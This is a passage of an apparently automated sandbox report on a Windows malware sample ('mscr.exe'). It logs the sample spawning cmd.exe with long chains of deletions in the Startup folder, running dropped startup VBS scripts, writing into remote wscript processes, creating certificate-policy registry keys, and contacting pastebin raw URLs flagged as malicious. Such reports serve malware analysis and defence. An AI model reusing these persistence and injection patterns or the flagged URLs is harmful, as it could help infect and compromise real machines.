Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&exit&" (UID: 00015175-00003636)8c:T1756,Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&exit&"8d:T588,"startup7036682.vbs" has type "ASCII text with CRLF line terminators" "startup7171143.vbs" has type "ASCII text with CRLF line terminators" "startup1352268.vbs" has type "ASCII text with CRLF line terminators" "startup8790147.vbs" has type "ASCII text with CRLF line terminators" "startup3019309.vbs" has type "ASCII text with CRLF line terminators" "startup2162145.vbs" has type "ASCII text with CRLF line terminators" "startup4601692.vbs" has type "ASCII text with CRLF line terminators" "startup3330015.vbs" has type "ASCII text with CRLF line terminators" "startup124481.vbs" has type "ASCII text with CRLF line terminators" "startup6752483.vbs" has type "ASCII text with CRLF line terminators" "startup1990457.vbs" has type "ASCII text with CRLF line terminators" "startup1295063.vbs" has type "ASCII text with CRLF line terminators" "startup6544173.vbs" has type "ASCII text with CRLF line terminators" "startup196366.vbs" has type "ASCII text with CRLF line terminators" "startup7434561.vbs" has type "ASCII text with CRLF line terminators" "startup2144209.vbs" has type "ASCII text with CRLF line terminators" "startup4770668.vbs" has type "ASCII text with CRLF line terminators" "startup3077130.vbs" has type "ASCII text with CRLF line terminators" "startup9936131.vbs" has type "ASCII text with CRLF line terminators" "startup7419274.vbs" has type "ASCII text with CRLF line terminators"8e:T528,"" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch" "" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\assembly\NativeImages_v2.0.50727_32\index23b.dat"8f:T6d6,"" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 500) "" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 508) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 1440) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\wscript.exe", Handle: 1708) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 1736) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\wscript.exe", Handle: 1776) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 1780) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\wscript.exe", Handle: 1680) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 1788) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\wscript.exe", Handle: 1664) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 1472) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\wscript.exe", Handle: 1732) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 1516) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\wscript.exe", Handle: 1520) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 1664) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\wscript.exe", Handle: 1512) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 1732) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\wscript.exe", Handle: 1796) "mscr.exe" is creating a new process (Name: "C:\Windows\System32\cmd.exe", Handle: 1784)90:T768,Process "wscript.exe" with commandline ""%TEMP%\startup2788310.vbs"" (UID: 00016531-00002904) Process "wscript.exe" with commandline ""%TEMP%\startup3197659.vbs"" (UID: 00017032-00002832) Process "wscript.exe" with commandline ""%TEMP%\startup7597624.vbs"" (UID: 00017529-00003244) Process "wscript.exe" with commandline ""%TEMP%\startup9321933.vbs"" (UID: 00018059-00003292) Process "wscript.exe" with commandline ""%TEMP%\startup3330015.vbs"" (UID: 00018600-00003456) Process "wscript.exe" with commandline ""%TEMP%\startup196366.vbs"" (UID: 00019098-00002712) Process "wscript.exe" with commandline ""%TEMP%\startup2879488.vbs"" (UID: 00019628-00002896) Process "wscript.exe" with commandline ""%TEMP%\startup8192529.vbs"" (UID: 00020161-00003592) Process "wscript.exe" with commandline ""%TEMP%\startup7944398.vbs"" (UID: 00020693-00002776) Process "wscript.exe" with commandline ""%TEMP%\startup1295000.vbs"" (UID: 00021221-00003856) Process "wscript.exe" with commandline ""%TEMP%\startup3019309.vbs"" (UID: 00021757-00004068) Process "wscript.exe" with commandline ""%TEMP%\startup7419274.vbs"" (UID: 00022256-00003980) Process "wscript.exe" with commandline ""%TEMP%\startup7171143.vbs"" (UID: 00022790-00001748) Process "wscript.exe" with commandline ""%TEMP%\startup1581107.vbs"" (UID: 00023290-00000712) Process "wscript.exe" with commandline ""%TEMP%\startup1990457.vbs"" (UID: 00023824-00002428) Process "wscript.exe" with commandline ""%TEMP%\startup2144209.vbs"" (UID: 00024324-00002628) Process "wscript.exe" with commandline ""%TEMP%\startup6544173.vbs"" (UID: 00024825-00002784) Process "wscript.exe" with commandline ""%TEMP%\startup5382966.vbs"" (UID: 00025337-00002968) Process "wscript.exe" with commandline ""%TEMP%\startup276877.vbs"" (UID: 00025847-00003792) Process "wscript.exe" with commandline ""%TEMP%\startup7434561.vbs"" (UID: 00026351-00003364)91:T889,"mscr.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "mscr.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "mscr.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "mscr.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "mscr.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "mscr.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "mscr.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "mscr.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "mscr.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS")92:T454,"" wrote bytes "0857f6750478ff750000000051c1d9769498d976ee9cd97675dcdb76273edb76efb2df760000000046ce5775013d587538ed5875cfcd577531235775de2f5875c4ca577580bb5775aa6e58759fbb577592bb577546ba57750abf577500000000" to virtual address "0x6A241000" (part of module "SHFOLDER.DLL") "" wrote bytes "82136d3c" to virtual address "0x67861FDC" (part of module "MSCORWKS.DLL") "" wrote bytes "db4d866f00000000" to virtual address "0x010C2000" (part of module "4F0CF4CDE34BCA0045670470920E6A6B5B8AFCA36A1E9320FEFC5AB16148283E.EXE") "taskkill.exe" wrote bytes "4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000" to virtual address "0x75491000" (part of module "NSI.DLL") "timeout.exe" wrote bytes "4053077758580877186a0877653c09770000000000bf57750000000056cc5775000000007cca577500000000376844756a2c0977d62d097700000000206944750000000029a6577500000000a48d447500000000f70e577500000000" to virtual address "0x75491000" (part of module "NSI.DLL")93:Te8e,"mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1708) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1708) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1708) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1776) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1776) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1776) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1680) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1680) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1680) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1664) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1664) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1664) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1732) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1732) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1732) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1520) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1520) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1520) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1512) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1512) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1512) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1796) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1796) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1796) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1684) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1684) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1684) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1828) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1828) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1828) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 824) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 824) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 824) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1804) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1804) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1804) "mscr.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1820) "mscr.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1820) "mscr.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wscript.exe" (Handle: 1820)94:T6d5,Found malicious artifacts related to "104.20.209.21" (ASN: , Owner: ): ... URL: https://pastebin.com/raw/pxSE2TJ1 (AV positives: 2/64 scanned on 10/13/2017 20:14:34) URL: http://pastebin.com/raw/KbdLpWzi (AV positives: 3/65 scanned on 10/12/2017 18:05:12) URL: http://pastebin.com/raw/uswx7ndh (AV positives: 3/65 scanned on 10/12/2017 14:05:09) URL: http://pastebin.com/raw/dbsdyhxd (AV positives: 1/64 scanned on 10/12/2017 14:05:09) URL: http://pastebin.com/raw/pxse2tj1 (AV positives: 2/64 scanned on 10/12/2017 02:03:00) File SHA256: 8be66937f3f49a5162cfe324d744eaaeabf9eda6a85c1a3fb1adaee513eb62db (AV positives: 35/66 scanned on 10/16/2017 18:06:56) File SHA256: 6117624e2f9472db713cd25df4f6223ea9b26513a3248196a475f8ae0401fcc2 (AV positives: 40/67 scanned on 10/16/2017 14:14:23) File SHA256: 3c8dedb8aca3a7ad4a86486afd9f5aeca3db5b3d9b7877906a72d1dab1272787 (Scanned on 10/16/2017 06:07:26) File SHA256: 82a522e87f21c8b76e0682c1d32c1644a05951859af16bd20ce8bebfea6dcd26 (Scanned on 10/16/2017 05:58:07) File SHA256: 57d25312a700a45a5856c6c37914f95cf9c4213d3bb1815e29baf5f2c43f7282 (AV positives: 2/66 scanned on 10/15/2017 19:41:24) File SHA256: 5483bcdbe49d68d1e87acccd95909b333af5721ccb5c0a9717aeb82734a39eeb (AV positives: 25/66 scanned on 10/15/2017 09:53:35) File SHA256: 6c2915868dca2f739edaa1b1225a78cf8999238c82f56e39d9a375f5b67c89cf (Scanned on 10/15/2017 14:24:26) File SHA256: 1236f6fffb29929be2fcddee0551899b5598564cbeb7fe6c30871ce0ecb584ec (Scanned on 10/15/2017 08:19:40) File SHA256: e27086069ddbeb1ff169f47952a114dfdd0536061bdba149c6f6a64d5b27fc27 (Scanned on 10/15/2017 00:06:51) File SHA256: b0474f7fa966049e278879932de826aeaa15a0b71759fe54569f78ec0326ac87 (AV positives: 3/27 scanned on 10/14/2017 14:35:00)95:T329d,Spawned process "" (UID: 00014871-00003556) Spawned process "cmd.exe" with commandline "/k @echo.&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del 